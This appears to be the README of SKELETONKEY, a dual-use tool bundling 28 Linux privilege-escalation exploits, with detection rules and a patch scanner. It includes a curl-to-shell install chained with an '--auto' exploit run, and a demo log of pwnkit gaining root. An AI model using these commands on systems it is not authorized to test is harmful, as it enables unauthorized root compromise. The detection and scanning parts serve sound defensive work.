One curated binary. 28 Linux LPE exploits from 2016 → 2026. Detection rules in the box. One command picks the safest one and runs it.
$ curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
&& skeletonkey --auto --i-know
⚠ Authorized testing only — see ETHICS.md
Most Linux privesc tooling is broken in one of three ways:
SKELETONKEY is one binary, actively maintained, with detection rules for every CVE it bundles — same project for red and blue teams.
Sortable by clicking column headers. 🟢 = lands root by
default · 🟡 = primitive + opt-in --full-chain.
| Year | CVE | Bug | Module | Tier |
|---|---|---|---|---|
| 2024 | CVE-2024-1086 | nf_tables nft_verdict_init cross-cache UAF | nf_tables | 🟡 primitive |
| 2023 | CVE-2023-32233 | nf_tables anonymous-set UAF | nft_set_uaf | 🟡 primitive |
| 2023 | CVE-2023-22809 | sudoedit EDITOR/VISUAL -- argv escape | sudoedit_editor | 🟢 full chain |
| 2023 | CVE-2023-4622 | AF_UNIX garbage-collector race UAF | af_unix_gc | 🟡 primitive |
| 2023 | CVE-2023-3269 | StackRot — maple-tree VMA-split UAF | stackrot | 🟡 primitive |
| 2023 | CVE-2023-2008 | vmwgfx DRM buffer-object OOB write | vmwgfx | 🟡 primitive |
| 2023 | CVE-2023-0386 | overlayfs copy_up preserves setuid bit | overlayfs_setuid | 🟢 full chain |
| 2023 | CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | entrybleed | 🟢 leak |
| 2023 | CVE-2023-0179 | nft_payload set-id memory corruption | nft_payload | 🟡 primitive |
| 2022 | CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | nft_fwd_dup | 🟡 primitive |
| 2022 | CVE-2022-2588 | net/sched cls_route4 dangling-filter UAF | cls_route4 | 🟡 primitive |
| 2022 | CVE-2022-0492 | cgroup v1 release_agent ns mismatch | cgroup_release_agent | 🟢 full chain |
| 2022 | CVE-2022-0847 | Dirty Pipe — page-cache write via splice | dirty_pipe | 🟢 full chain |
| 2022 | CVE-2022-0185 | fsconfig legacy_parse_param 4k heap OOB | fuse_legacy | 🟡 primitive |
| 2021 | CVE-2021-33909 | Sequoia — seq_file size_t→int wrap | sequoia | 🟡 primitive |
| 2021 | CVE-2021-3156 | sudo Baron Samedit heap overflow | sudo_samedit | 🟡 primitive |
| 2021 | CVE-2021-3493 | Ubuntu overlayfs userns file-cap injection | overlayfs | 🟢 full chain |
| 2021 | CVE-2021-22555 | iptables xt_compat 4-byte heap OOB | netfilter_xtcompat | 🟡 primitive |
| 2021 | CVE-2021-4034 | Pwnkit — pkexec NULL argv env-injection | pwnkit | 🟢 full chain |
| 2020 | CVE-2020-14386 | AF_PACKET tp_reserve integer underflow | af_packet2 | 🟡 primitive |
| 2019 | CVE-2019-13272 | PTRACE_TRACEME → setuid execve race | ptrace_traceme | 🟢 full chain |
| 2017 | CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow | af_packet | 🟡 primitive |
| 2016 | CVE-2016-5195 | Dirty COW — COW race via /proc/self/mem | dirty_cow | 🟢 full chain |
| 2026 | CVE-2026-31431 | Copy Fail — algif_aead authencesn page-cache write | copy_fail | 🟢 full chain |
| 2026 | CVE-2026-43284 | Dirty Frag — IPv4 xfrm-ESP page-cache write | dirty_frag_esp | 🟢 full chain |
| 2026 | CVE-2026-43284 | Dirty Frag — IPv6 xfrm-ESP (esp6) | dirty_frag_esp6 | 🟢 full chain |
| 2026 | CVE-2026-43500 | Dirty Frag — RxRPC handshake forgery | dirty_frag_rxrpc | 🟢 full chain |
| 2026 | variant | Copy Fail GCM — rfc4106(gcm(aes)) sibling | copy_fail_gcm | 🟢 full chain |
One tested binary. --auto ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. No more curating stale PoC repos.
Auditd + sigma + yara + falco rules for every CVE. One command ships SIEM coverage: --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules.
skeletonkey --scan (no sudo needed) tells you which boxes still need patching. JSON output for CI gates. Fleet-scan tool included. No SaaS, no telemetry.
Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. Detection rules let you practice both sides.
--auto on a vulnerable Ubuntu 22.04 box:
$ id uid=1000(kara) gid=1000(kara) groups=1000(kara) $ skeletonkey --auto --i-know [*] auto: host=demo kernel=5.15.0-56-generic arch=x86_64 [*] auto: scanning 28 modules for vulnerabilities... [+] auto: dirty_pipe VULNERABLE (safety rank 90) [+] auto: cgroup_release_agent VULNERABLE (safety rank 98) [+] auto: pwnkit VULNERABLE (safety rank 100) [*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100). [*] auto: launching --exploit pwnkit... [+] pwnkit: writing gconv-modules cache + payload.so... [+] pwnkit: execve(pkexec) with NULL argv + crafted envp... # id uid=0(root) gid=0(root) groups=0(root)
Safety ranking goes structural escapes → page-cache writes → userspace cred-races → kernel primitives → kernel races. The goal is to never crash a production box looking for root.
Most public PoC repos hardcode offsets for one kernel build and silently break elsewhere. SKELETONKEY refuses to ship fabricated offsets.
--full-chain finisher returns EXPLOIT_OK only when a setuid bash sentinel file actually appearsEXPLOIT_FAIL with diagnosticskeletonkey --dump-offsets (parses /proc/kallsyms or /boot/System.map) and upstream the entry via PR — see CONTRIBUTING.md# Install (x86_64 / arm64; checksum-verified) $ curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh # What's this box vulnerable to? (no sudo) $ skeletonkey --scan # Pick the safest LPE and run it $ skeletonkey --auto --i-know # Deploy detection rules (needs sudo to write into /etc/audit/rules.d/) $ skeletonkey --detect-rules --format=auditd \ | sudo tee /etc/audit/rules.d/99-skeletonkey.rules # Fleet scan — many hosts via SSH, aggregated JSON for SIEM $ ./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \ --ssh-key ~/.ssh/id_rsa hosts.txt
v0.5.0 cut 2026-05-17. 28 modules build clean on Debian 13 (kernel 6.12) and refuse cleanly on patched hosts. Empirical end-to-end validation on a vulnerable-kernel VM matrix is the next roadmap item; until then, the corpus is best understood as "compiles + detects + structurally correct + honest on failure."